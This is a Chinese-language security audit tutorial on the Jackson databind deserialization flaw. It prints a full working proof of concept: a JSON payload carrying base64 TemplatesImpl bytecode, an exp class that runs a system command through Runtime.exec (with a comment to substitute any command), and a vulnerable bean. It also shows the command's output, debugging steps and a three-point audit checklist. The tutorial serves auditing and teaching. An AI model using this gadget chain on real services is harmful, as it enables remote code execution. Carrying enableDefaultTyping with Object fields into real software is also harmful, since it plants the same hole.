小白审计JACKSON反序列化漏洞
1. JACKSON漏洞解析
poc代码:main.java
import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; import org.springframework.util.FileCopyUtils; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; /** * Created by Administrator on 2017/6/12. */ public class main { public static void main(String[] args) { String MASIT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //改成exp存在的绝对路径 String exp = readClassStr("D:\\workspace\\123\\target\\classes\\exp.class"); String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "{\n" + "'transletBytecodes':['"+exp+"'],\n" + "'transletName':'p',\n" + "'outputProperties':{}\n" + "}\n" + "]\n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); User user; try { user = mapper.readValue(jsonInput, User.class); System.out.println(user.getSex()); System.out.println(user.getName()); } catch (Exception e) { e.printStackTrace(); } } public static String aposToQuotes(String json){ return json.replace("'","\""); } public static String readClassStr(String cls){ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); try { FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream); } catch (IOException e) { e.printStackTrace(); } return Base64.encode(byteArrayOutputStream.toByteArray()); } }
exp.java
import com.sun.javaws.progress.Progress;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.*;
/**
* Created by Administrator on 2017/6/12.
*/
public class exp extends AbstractTranslet {
public exp() throws Exception {
try {
BufferedReader br = null;
//修改成你想要执行的命令
Process p = Runtime.getRuntime().exec("ipconfig");
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
System.out.println(sb);
}
File file = new File("result.txt");
//File file =new File("javaio-appendfile.txt");
//if file doesnt exists, then create it
if(!file.exists()){
file.createNewFile();
}
//true = append file
FileWriter fileWritter = new FileWriter(file.getName(),true);
BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
bufferWritter.write(sb.toString());
bufferWritter.close();
System.out.println(sb);
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
user.java
import java.io.Serializable; import java.util.Arrays; import java.util.InputMismatchException; import java.util.Objects; /** * Created by Administrator on 2017/6/12. */ public class User { private Object object; public Object getObject() { return object; } public void setObject(Object object) { this.object = object; } }
尝试执行:
发现result.txt中存在结果
Windows IP ���� ��̫�������� �������� 2: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ� �����ض��� DNS �� . . . . . . . : ��̫�������� Npcap Loopback Adapter: �����ض��� DNS �� . . . . . . . : �������� IPv6 ��ַ. . . . . . . . : fe80::b047:25da:330b:45d4%18 �Զ����� IPv4 ��ַ . . . . . . . : 169.254.69.212 �������� . . . . . . . . . . . . : 255.255.0.0 Ĭ�����. . . . . . . . . . . . . : ��̫�������� ��������: �����ض��� DNS �� . . . . . . . : �������� IPv6 ��ַ. . . . . . . . : fe80::fd81:27ba:8b8b:4a72%12 IPv4 ��ַ . . . . . . . . . . . . : 10.0.83.198 �������� . . . . . . . . . . . . : 255.255.255.0 Ĭ�����. . . . . . . . . . . . . : 10.0.83.1
调试本地代码:
由于Jackson中是通过readValue执行命令,
按F7进入当前函数:
跳过几次赋值,进入到当前函数,发现次函数中存在反序列化的赋值,按F7进行调试
经过多次调试发现,命令在标红处代码执行,并抛出异常
多部调试,F7进入函数代码(SetterlessProperty.java):
代码执行:
2. Jackson反序列化漏洞如何审计
OK,说到这就简单介绍了下,Jackson的反序列化代码运行的过程,那么现在代码审计中如何审计的出来项目是否包含Jackson反序列化呢?
第一步:看版本,如果Jackson的版本号不在存在漏洞的版本列表中,肯定不会有此漏洞,
版本列表:
Jackson 2.7版本(<2.7.10)
Jackson 2.8版本(<2.8.9)
第二步:你的Bean类中是否包含object类型的变量:
例如,我这边的User类中的Object变量定义为:private Object object
第三步:Jackson的ObjectMapper必须调用enableDefaultTyping:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
满足以上三个要求,才能进行构造POC进行校验。